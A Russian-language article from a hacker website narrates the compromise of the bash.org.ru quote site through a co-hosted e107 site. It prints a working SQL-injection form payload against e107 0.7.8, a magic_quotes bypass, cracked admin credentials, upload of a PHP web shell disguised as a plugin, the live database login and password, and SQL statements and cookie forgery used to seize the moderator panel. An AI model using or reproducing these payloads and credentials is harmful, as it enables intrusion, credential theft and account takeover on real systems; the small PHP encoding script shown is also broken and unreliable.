| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 18.118.128.17
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » Статьи » Общие Статьи

беспрецедентная атака на цитатник рунета

Расскажу подробнее о наивнейших ошибках людей, отвечающих за софт на серверах русского башорга. Итак, погнали!

Первым делом я немного пощупал скрипты самого башорга. Единственным интересным открытием был фришный php-скрипт Openads 2.0.11-pr1 (phpadsnew.com), расположенный по адресу http://lol.bash.org.ru/b/admin/index.php. Скрипт отвечает за текстовую рекламу, расположенную между цитатами на всех страницах баша. Посерфив пару-тройки секурити-порталов, я не нашел ни одного паблик сплойта под эту версию. Немного покопав движок на предмет багов, я решил оставить его на потом, и продолжил свои поиски.

Следующим шагом был сервис www.seologs.com/ip-domains.html, который показал мне все виртуальные домены, расположенные на IP-адресе баша (89.111.182.137). Это были:

http://animau.ru
http://bash.org.ru
http://tanibata.ru
http://words.bash.org.ru

Как видишь, улов не особо густой. Единственным доступным из этих адресов, не считая самого баша, был сайт tanibata.ru, посвященный фестивалю японской анимации (чертовы анимешники :)). За него я и взялся.

Ня!

Вскользь просмотрев исходник главной страницы подопытного сайта, я увидел там строку:

<script type='text/javascript' src='/e107_files/e107.js'></script>

и очень обрадовался, что там установлен «самый безопасный движок по версии журнала PC Magazine» e107 :). Следующим шагом было определение версии движка. Насколько я знал, сделать это можно, по меньшей мере, двумя способами. Первый – пройти по адресу http://tanibata.ru/e107_docs/README_UPGRADE.html. Второй – пройти по адресу http://tanibata.ru/e107_admin/admin.php.

Ни один из способов не прокатил. Тогда я взял за основу дату первой публикации новости на сайте (Sunday 27 May 2007) и чисто теоретически предположил, что версия движка лежит в пределах от 0.7.6 до 0.7.8 (причем, последняя на момент написания статьи – 0.7.11). Теперь необходимо было немного «посерчить» на http://milw0rm.com на предмет паблик эксплойтов под e107, чем я немедленно и занялся. Под искомые версии движка существовали следующие сплойты:

e107 <= 0.7.8 (photograph) Arbitrary File Upload Vulnerability
e107 0.7.8 (mailout.php) Access Escalation Exploit (admin needed)

Второй я отбросил сразу, так как он требовал права админа. Прочитав же описание к первому, я вынужден был отбросить и его, так как это была ложная уязвимость, которая предоставляла лишь загруженный php-код в теле фотографии (и ничего более). Отложив на время e107, я принялся серфить дальше мой подопытный ресурс. Единственной зацепой был форум IP.Board, расположенный по адресу http://tanibata.ru/forum/. Открыв исходник страницы, я крайне расстроился, ибо версия IPB 2.2.0 была на тот момент абсолютно непробиваемой. Ничего не оставалось, как самому копать исходники либо IPB, либо e107. Я выбрал e107. И не ошибся!

Индиана Джонс и e107

Слив на свой ноутбук cms e107 0.7.8 и благополучно установив, я стал ковырять скрипты. Через несколько часов я получил результат в виде скрипта contact.php и следующей строчки кода в нем:

else
{
$query = "user_id = ".$_POST['contact_person'];
}

Как видно, переменная $_POST['contact_person'] подставляется в SQL-запрос абсолютно нефильтрованной! Трудность заключалась в дальнейших строках кода:

if($sql -> db_Select("user", "user_name,user_email",$query." LIMIT 1"))
{
$row = $sql -> db_Fetch();
$send_to = $row['user_email'];
$send_to_name = $row['user_name'];
}
else
{
$send_to = SITEADMINEMAIL;
$send_to_name = ADMIN;
}

Сложностей было даже две.

Первая: e107 никогда, ни при каких обстоятельствах не выведет сообщения об ошибке в SQL-запросе.

Вторая: при верно составленной SQL-квере мыло, которое ты отсылаешь в форме контакта с администрацией, уйдет на e-mail, который ты укажешь сам; иначе – на мыло админа. Эксплойт для blind sql-injection был, в принципе, возможен, но, как обычно, писать его было лениво.

Немного подумав, я вспомнил об одной особенности заголовка «To:» при отправке мыла. Итак, в этом поле можно указать мыло получателя в формате «Имя фамилия billy@microsoft.com», и e-mail успешно уйдет адресату! На основе этой информации я придумал простенький эксплойт под эту багу:

<form action="http://tanibata.ru/contact.php" method="POST">
<input name="send-contactus" value="1"/>
<input name="body" value="Thisd is a test email from tanibata =)"/>
<input name="email_send" value="moy_email@gmail.com"/>
<input name="author_name" value="mazafaka"/>
<input name="subject" value="Mega Subject"/><br/>
<input size=200 name="contact_person" value="-999 union
select 1,concat(user_password,' ',user_loginname,' <moy_email@gmail.com>')
from e107_user where user_id=1/*"/>
<br/><input type="submit" value="ok"/>
</form>

Но так как на сервере был включен magic_quotes_gpc, то этот вариант сплойта не прокатил. Нужно было модифицировать все символы, находящиеся в кавычках, в char. Для этого я написал простенький скрипт:

<?php
$symbols=' <moy_email@gmail.com>';
for($i=0;$i<strlen($site);$i++)
{
$i!=(strlen($site)-1) ? print $arr[substr($site,$i,1)].',' : print $arr[substr($site,$i,1)];
}
?>

В результате получилось что-то вроде этого в поле «contact_person»:

value="-999 union select user_password,
concat(
user_password, char(32),
user_loginname, char(32,60,109,111,121,95,121,97,119,105,107,
64,98,107,46,114,117,62))
from e107_user where user_id=1/*"

После успешного сабмита я увидел мессагу от e107: «Your message was succesfully sent!», а также новое мыло в своем ящике, где в поле «To:» были хеш и логин админа tanibata.ru:

"To: "30e50569d9a3d6f73ec5075754d43d07 Ren" <moy_email@gmail.com>"

Для успешного входа в админку портала мне жизненно необходимо было расшифровать полученный хеш, так как копаться в исходных кодах e107, отвечающих за авторизацию пользователей, опять не позволяла та же лень. Я полез на всеми любимый сервис по расшифровке md5-хешей plain-text.info, который, к глубочайшему сожалению, не смог мне ничем помочь. Не отчаиваясь, я просмотрел список всех юзеров танибаты с помощью http://tanibata.ru/e107_plugins/forum/forum_stats.php. Приветливый скрипт подсказал мне, что на портале есть и второй админ с ником Selena и ID=2, к которому я и применил свой мегасплойт. Новый хеш e10adc3949ba59abbe56e057f20f883e plain-text.info расшифровал уже с большей охотой, в результате чего я и оказался в админке http://tanibata.ru/e107_admin/admin.php с данными Selena:123456 :).

Кавай!

Далее было бы логично залить шелл. Чем я тут же и занялся! Потыкав немного по различным пунктам админки и убедившись, что любой аплоад файла с расширениями .php, .phtml режется на корню, я случайно наткнулся на интересную форму того же аплода в управлении плагинами. Эта форма поддерживает загрузку новых плагинов, запакованных в zip или tar.gz. Следуя этой логике, я запаковал свой шелл в zip и успешно загрузил его, в результате чего получил доступ к серваку по адресу http://tanibata.ru/e107_plugins/404.php?stulcheg :). Немного пошастав по серваку, я нашел сам башорг в /export/hosts/bash.org.ru/documents, где в дальнейшем и остался для изучения всей подноготной баша.

Глубже!

Первым каталогом, заинтересовавшим мое внимание, был admstat. Перейдя по адресу http://bash.org.ru/admstat, я увидел незащищенную паролем статистику зааппрувленных и перелопаченных модераторами баша цитат! Как стало видно из статистики, наиболее активным модером является ujin :). Следующим каталогом для изучения стал app42. По этому адресу находится админга русского башорга. Но чтобы попасть в нее, нужно было изучить механизм авторизации в app42/index.php. Меня заинтриговал следующий код:

if (isset($_COOKIE["panda"]) and isset($_COOKIE["kopanda"])) {
$check = $db->get_results("select id, login, password from moderators where md5(login)='".
$_COOKIE["panda"]."' and password='".$_COOKIE["kopanda"]."'", ARRAY_A);
if (!empty($check)) {
$moderator_id = $check[0]['id'];
setcookie("panda", $_COOKIE["panda"], $time+3200);
setcookie("kopanda", $_COOKIE["kopanda"], $time+3200);
$db->query("update moderators set lastseen_at=now() where id=$moderator_id");
$smarty->assign("MODERATOR_ID", $moderator_id);
} else {
header($failover."login");
}
} else {
if ($request_action != 'login') header($failover."login");
}
...
case 'login':
if (isset($_POST['login']) && isset($_POST['password'])) {
$login = $_POST['login'];
$password = $_POST['password'];
$check = $db->get_results("select login, password from moderators
where login='$login' and password=PASSWORD('$password')", ARRAY_A);
if (!empty($check)) {
setcookie("panda", md5($login), $time+3200);
setcookie("kopanda", $check[0]['password'], $time+3200);
header($failover);
}
}
$template = 'admin_login.tpl';
break;

Отсюда следовало:

  1. Логины и пароли модераторов хранятся в таблице moderators. Поля login и password, соответственно.
  2. Пароли модераторов зашифрованы встроенной функцией mysql PASSWORD().
  3. Если существуют куки со следующим содержанием – $_COOKIE["panda"]=md5('логин_модератора') и $_COOKIE["kopanda"]=PASSWORD('пароль_модератора'), то ты оказываешься успешно залогиненным в админку.

Необходимо было найти доступы к базе данных. Над ней предстояло немного поизвращаться, дабы не расшифровывать mysql5-хеши модеров.

Я залил менеджер БД RST Mysql в ту же папку, где у меня лежал шелл, и успешно проник в базу башорга с помощью урл http://tanibata.ru/e107_plugins/sql.php. Данные для доступа к БД лежали в корне башорга в файле _config.inc.php:

$db = new ezSQL_mysql(
'krivedko',
'DiamondIsUnbreakable',
'bashorg_refactored',
'localhost');
(ezSQL – не правда ли, знакомое название?)

Зайдя в bashorg_refactored в таблицу moderators, я увидел все данные модеров баша в формате id, логин, имя, пароль и последний заход в админку.

Далее я успешно провел запрос к БД, позволивший мне зайти в админку под своим паролем:

UPDATE moderators
SET password=PASSWORD('lopa')
WHERE id=1;

После логина в админку с данными administrator:lopa я изменил обратно пароль ДаркРайдера:

UPDATE moderators
SET password='*08CDE192357B3CAB08B29E1636F78F0116452E79'
WHERE id=1;

А также подставил значение *08CDE192357B3CAB08B29E1636F78F0116452E79 в кукис kopanda с помощью своей любимой Оперы (Инструменты -> Дополнительно -> Cookies). На этом, собственно, моя цель и была достигнута.

Категория: Общие Статьи | Добавил: aka_kludge (18.08.2008)
Просмотров: 2650 | Комментарии: 1 | Рейтинг: 0.0/0
Всего комментариев: 1

1 iri пишет:

(11.04.2009 03:39)

Очень познавательно, понравилось.
Буду заходить чаще.
cool

0



Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

01:12
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика